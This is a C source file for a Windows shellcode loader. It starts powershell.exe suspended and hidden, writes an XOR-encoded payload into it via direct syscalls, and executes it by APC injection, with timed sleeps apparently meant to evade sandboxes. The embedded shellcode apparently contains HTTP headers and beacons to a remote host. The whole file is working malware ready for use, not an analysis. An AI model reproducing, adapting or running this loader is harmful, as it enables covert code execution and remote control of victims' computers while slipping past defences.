#include "util.h"
#include "syscalls.h"


// msDelaynumber is the value to sleep for 
int msDelaynumber = 7000;

// take msDelaynumber as parameter and delay the execution 
int Delay_Exec(int number) {
	printf("[+] Running Delay Execution for %d ... \n", number);
	ULONGLONG uptimeBeforeSleep = GetTickCount64();
	typedef NTSTATUS(WINAPI* PNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
	PNtDelayExecution pNtDelayExecution = (PNtDelayExecution)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDelayExecution");
	LARGE_INTEGER delay;
	delay.QuadPart = -10000 * number;
	pNtDelayExecution(FALSE, &delay);
	ULONGLONG uptimeAfterSleep = GetTickCount64();
	if ((uptimeAfterSleep - uptimeBeforeSleep) < number) {
		printf("[!] Delay Execution Failed ! \n");
		return -1;
	}
	else {
		printf("[+] DONE ! \n");
	}
}


//function to do the job 
int apc_inject(DWORD pid, unsigned char *payload, int dwPayloadSize, HANDLE ht) {

	HANDLE hp;
	SIZE_T wr;
	PVOID cs = NULL;
	SIZE_T payloadSize = dwPayloadSize;

	// 1. Open target process
	hp = OpenProcess(
		PROCESS_DUP_HANDLE | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,
		FALSE,
		pid
	);

	if (hp == NULL) {
		printf("unable to open process.\n");
		return -1;
	}

	Delay_Exec(msDelaynumber);


	if (ht != NULL) {
		// 2. Allocate memory
		printf("\n\t [+] Running VirtualAllocEx ......... ");
		NtAllocateVirtualMemory(
			hp,
			&cs,
			0,
			&payloadSize,
			MEM_COMMIT | MEM_RESERVE,
			PAGE_EXECUTE_READWRITE
		);

		printf(" [  DONE  ] \n");

		// 3. define the allocated address 'cs' as pointer to the callback function later , which is QueueUserAPC

		PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)cs;

		if (cs != NULL) {
			// 4. Write code to memory && Decoding ...
			printf("\n\t [+] Running WriteProcessMemory ......... ");
			int n = 0;
			BOOL failed = FALSE;
			printf("\t\t\n [+] payload size = %d\n", payloadSize);


			for (int i = 0; i <= dwPayloadSize; i++) {

				char DecodedOpCode = payload[i] ^ 0x11;
				printf(".");
				if ((NtWriteVirtualMemory(hp, ((ULONG_PTR)cs + n), &DecodedOpCode, 1, NULL)) >= 0) {
					n++;
				}
				else {
					//if we missed a byte or something we will not continue
					failed = TRUE;
					DWORD error = GetLastError();
					printf("GetLastError : %d \n", error);
					return -1;
				}

			}


			printf("\n");
			

			if (failed == FALSE) {
				printf("\t\t[+] Wrote All Bytes to the Process\n");
				printf("\t\t[  DONE  ] \n");

				//5. protecting the allocated memory with VirtualProtectEx
				printf("\n\t [+] Running VirtualProtectEx ......... ");
				DWORD junk;
				NtProtectVirtualMemory(hp, cs, payloadSize, PAGE_EXECUTE_READWRITE, &junk);
				printf(" [  DONE  ] \n");

				// 6. Runnig NtQueueApcThread
				Delay_Exec(msDelaynumber);
				printf("\n\t [+] Running QueueUserAPC ......... ");
				NtQueueApcThread(ht, (PAPCFUNC)apcRoutine, NULL, NULL, NULL);
				printf(" [  DONE  ] \n");

				//we started the thread as suspended from the beginning so...
				// 7. resuming thread
				Delay_Exec(msDelaynumber + 3000);
				printf("\n\t[+] Resuming Thread ...... ");
				ResumeThread(ht);
				printf(" [  DONE  ] \n");

			}
			else {
				printf("[!] Unable to write payload to process, Possibly writing to the process failed !\n");
			}

		}
		else {
			printf("[!] Unable to allocate memory.\n");
		}
	}
	else {
		printf("[!] Unable to find alertable thread.\n");
	}

	CloseHandle(hp);
}

int main(int argc, char* argv[], char* envp[]) {
	//hide
	/*
	HWND hWnd = GetConsoleWindow();
	ShowWindow(hWnd, SW_MINIMIZE);
	ShowWindow(hWnd, SW_HIDE);
	*/

	

	LPVOID  pic;
	DWORD   len, pid;

	printf("\n[#] Running SetPrivilege ..... ");
	SetPrivilege(SE_DEBUG_NAME, TRUE);
	printf(" [  DONE  ]\n");

	//shellcode xored by 0x11 :
	 
	unsigned char* shellcode = "\xed\x59\x92\xf5\xe1\xf9\xd9\x11\x11\x11\x50\x40\x50\x41\x43\x40\x47\x59\x20\xc3\x74\x59\x9a\x43\x71\x59\x9a\x43\x9\x59\x9a\x43\x31\x59\x9a\x63\x41\x59\x1e\xa6\x5b\x5b\x5c\x20\xd8\x59\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\x50\xd0\xd8\x1c\x50\x10\xd0\xf3\xfc\x43\x50\x40\x59\x9a\x43\x31\x9a\x53\x2d\x59\x10\xc1\x77\x90\x69\x9\x1a\x13\x64\x63\x9a\x91\x99\x11\x11\x11\x59\x94\xd1\x65\x76\x59\x10\xc1\x41\x9a\x59\x9\x55\x9a\x51\x31\x58\x10\xc1\xf2\x47\x59\xee\xd8\x50\x9a\x25\x99\x59\x10\xc7\x5c\x20\xd8\x59\x20\xd1\xbd\x50\xd0\xd8\x1c\x50\x10\xd0\x29\xf1\x64\xe0\x5d\x12\x5d\x35\x19\x54\x28\xc0\x64\xc9\x49\x55\x9a\x51\x35\x58\x10\xc1\x77\x50\x9a\x1d\x59\x55\x9a\x51\xd\x58\x10\xc1\x50\x9a\x15\x99\x59\x10\xc1\x50\x49\x50\x49\x4f\x48\x4b\x50\x49\x50\x48\x50\x4b\x59\x92\xfd\x31\x50\x43\xee\xf1\x49\x50\x48\x4b\x59\x9a\x3\xf8\x5e\xee\xee\xee\x4c\x7b\x11\x58\xaf\x66\x78\x7f\x78\x7f\x74\x65\x11\x50\x47\x58\x98\xf7\x5d\x98\xe0\x50\xab\x5d\x66\x37\x16\xee\xc4\x59\x20\xd8\x59\x20\xc3\x5c\x20\xd1\x5c\x20\xd8\x50\x41\x50\x41\x50\xab\x2b\x47\x68\xb6\xee\xc4\xf8\x82\x11\x11\x11\x4b\x59\x98\xd0\x50\xa9\xaa\x10\x11\x11\x5c\x20\xd8\x50\x40\x50\x40\x7b\x12\x50\x40\x50\xab\x46\x98\x8e\xd7\xee\xc4\xfa\x68\x4a\x59\x98\xd0\x59\x20\xc3\x58\x98\xc9\x5c\x20\xd8\x43\x79\x11\x23\xd1\x95\x43\x43\x50\xab\xfa\x44\x3f\x2a\xee\xc4\x59\x98\xd7\x59\x92\xd2\x41\x7b\x1b\x4e\x59\x98\xe0\xab\xe\x11\x11\x11\x7b\x11\x79\x91\x22\x11\x11\x58\x98\xf1\x50\xa8\x15\x11\x11\x11\x50\xab\x64\x57\x8f\x97\xee\xc4\x59\x98\xe0\x59\x98\xcb\x58\xd6\xd1\xee\xee\xee\xee\x5c\x20\xd8\x43\x43\x50\xab\x3c\x17\x9\x6a\xee\xc4\x94\xd1\x1e\x94\x8c\x10\x11\x11\x59\xee\xde\x1e\x95\x9d\x10\x11\x11\xfa\xa2\xf8\xf5\x10\x11\x11\xf9\x93\xee\xee\xee\x3e\x66\x74\x73\x76\x7d\x3c\x76\x7d\x7e\x73\x74\x3c\x29\x73\x73\x73\x73\x22\x75\x28\x3f\x7b\x62\x11\xfb\xf6\x29\x2b\x19\x9c\x16\x26\xa2\x5a\x10\x73\x45\xa5\x9e\x94\x17\x63\xe2\xf7\x54\xd5\xb2\xe1\x1f\xa8\x92\xa3\x69\x30\xbf\xbf\x97\xc2\xac\x51\x2b\x44\x51\xcd\x94\xab\x2c\xf6\x2e\x99\xa1\xfe\x2b\xc4\xd6\xc6\x2e\x1f\x11\x50\x72\x72\x74\x61\x65\x2b\x31\x65\x74\x69\x65\x3e\x79\x65\x7c\x7d\x3d\x70\x61\x61\x7d\x78\x72\x70\x65\x78\x7e\x7f\x3e\x69\x79\x65\x7c\x7d\x3a\x69\x7c\x7d\x3d\x70\x61\x61\x7d\x78\x72\x70\x65\x78\x7e\x7f\x3e\x69\x7c\x7d\x2a\x60\x2c\x21\x3f\x28\x3d\x3b\x3e\x3b\x2a\x60\x2c\x21\x3f\x29\x1c\x1b\x50\x72\x72\x74\x61\x65\x3c\x5d\x70\x7f\x76\x64\x70\x76\x74\x2b\x31\x74\x7f\x3c\x44\x42\x3d\x74\x7f\x2a\x60\x2c\x21\x3f\x24\x1c\x1b\x59\x7e\x62\x65\x2b\x31\x56\x78\x65\x79\x64\x73\x3f\x72\x7e\x7c\x1c\x1b\x43\x74\x77\x74\x63\x74\x63\x2b\x31\x79\x65\x65\x61\x62\x2b\x3e\x3e\x76\x78\x65\x79\x64\x73\x3f\x72\x7e\x7c\x3e\x1c\x1b\x50\x72\x72\x74\x61\x65\x3c\x54\x7f\x72\x7e\x75\x78\x7f\x76\x2b\x31\x76\x6b\x78\x61\x3d\x31\x75\x74\x77\x7d\x70\x65\x74\x3d\x31\x73\x63\x1c\x1b\x44\x62\x74\x63\x3c\x50\x76\x74\x7f\x65\x2b\x31\x5c\x7e\x6b\x78\x7d\x7d\x70\x3e\x24\x3f\x21\x31\x39\x46\x78\x7f\x75\x7e\x66\x62\x31\x5f\x45\x31\x20\x21\x3f\x21\x2a\x31\x46\x78\x7f\x27\x25\x2a\x31\x69\x27\x25\x2a\x31\x63\x67\x2b\x28\x21\x3f\x21\x38\x31\x56\x74\x72\x7a\x7e\x3e\x23\x21\x20\x21\x21\x20\x21\x20\x31\x57\x78\x63\x74\x77\x7e\x69\x3e\x28\x21\x3f\x21\x1c\x1b\x11\x21\x14\xae\xc3\x75\x5d\x4\xbe\x21\xab\x7f\xb4\xa8\xfa\xb1\x51\x10\x37\xf\x46\x11\x50\xaf\xe1\xa4\xb3\x47\xee\xc4\x59\x20\xd8\xab\x11\x11\x51\x11\x50\xa9\x11\x1\x11\x11\x50\xa8\x51\x11\x11\x11\x50\xab\x49\xb5\x42\xf4\xee\xc4\x59\x82\x42\x42\x59\x98\xf6\x59\x98\xe0\x59\x98\xcb\x50\xa9\x11\x31\x11\x11\x58\x98\xe8\x50\xab\x3\x87\x98\xf3\xee\xc4\x59\x92\xd5\x31\x94\xd1\x65\xa7\x77\x9a\x16\x59\x10\xd2\x94\xd1\x64\xc6\x49\x49\x49\x59\x14\xb9\x1e\x11\x11\x41\xd2\xf9\x6e\xec\xee\xee\x20\x28\x23\x3f\x20\x27\x29\x3f\x20\x27\x3f\x20\x21\x26\x11\x8\x78\xb1\x9c";

	int size = strlen(shellcode);
	printf("[#] Shellcode size : %d\n", size);

	//////////////////////////////////////////////////////////////////////////////////////////////
	printf("[#] Press any key to run the shellcode ... \n");
	getchar();
	//////////////////////////////////////////////////////////////////////////////////////////////


	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };

	char target_path[1024];
	GetSystemDirectoryA(target_path, 1024);
	strcat(target_path, "\\WindowsPowerShell\\v1.0\\powershell.exe");
	// -sta switch (Single Thread Apartment), we do not need to spray the APC across all its threads - main thread is enough 
	CreateProcessA(
		target_path,
		"-sta",
		NULL,
		NULL,
		FALSE,
		CREATE_SUSPENDED | CREATE_NO_WINDOW | DETACHED_PROCESS,
		NULL,
		NULL,
		&si,
		&pi
	);

	Delay_Exec(msDelaynumber);

	//getting the thread handle plus the pid of our *suspended* process
	HANDLE threadHandle = pi.hThread;
	pid = pi.dwProcessId;

	if (pid == 0) {
		printf("[!] unable to obtain process id for powershell.exe \n");
		return 0;
	}
	else {
		printf("[#] Targetting pid : %d\n", pid);
	} 

	
	printf("\n[#] Running apc_inject .... \n");

	Delay_Exec(msDelaynumber);
	// running
	if (apc_inject(pid, shellcode, size, threadHandle)) {
		printf("[  DONE  ]\n");
	}
	else {
		printf("[!] failed running apc_inject function ... \n");
	}

	CloseHandle(pi.hThread);

	return 0;
}

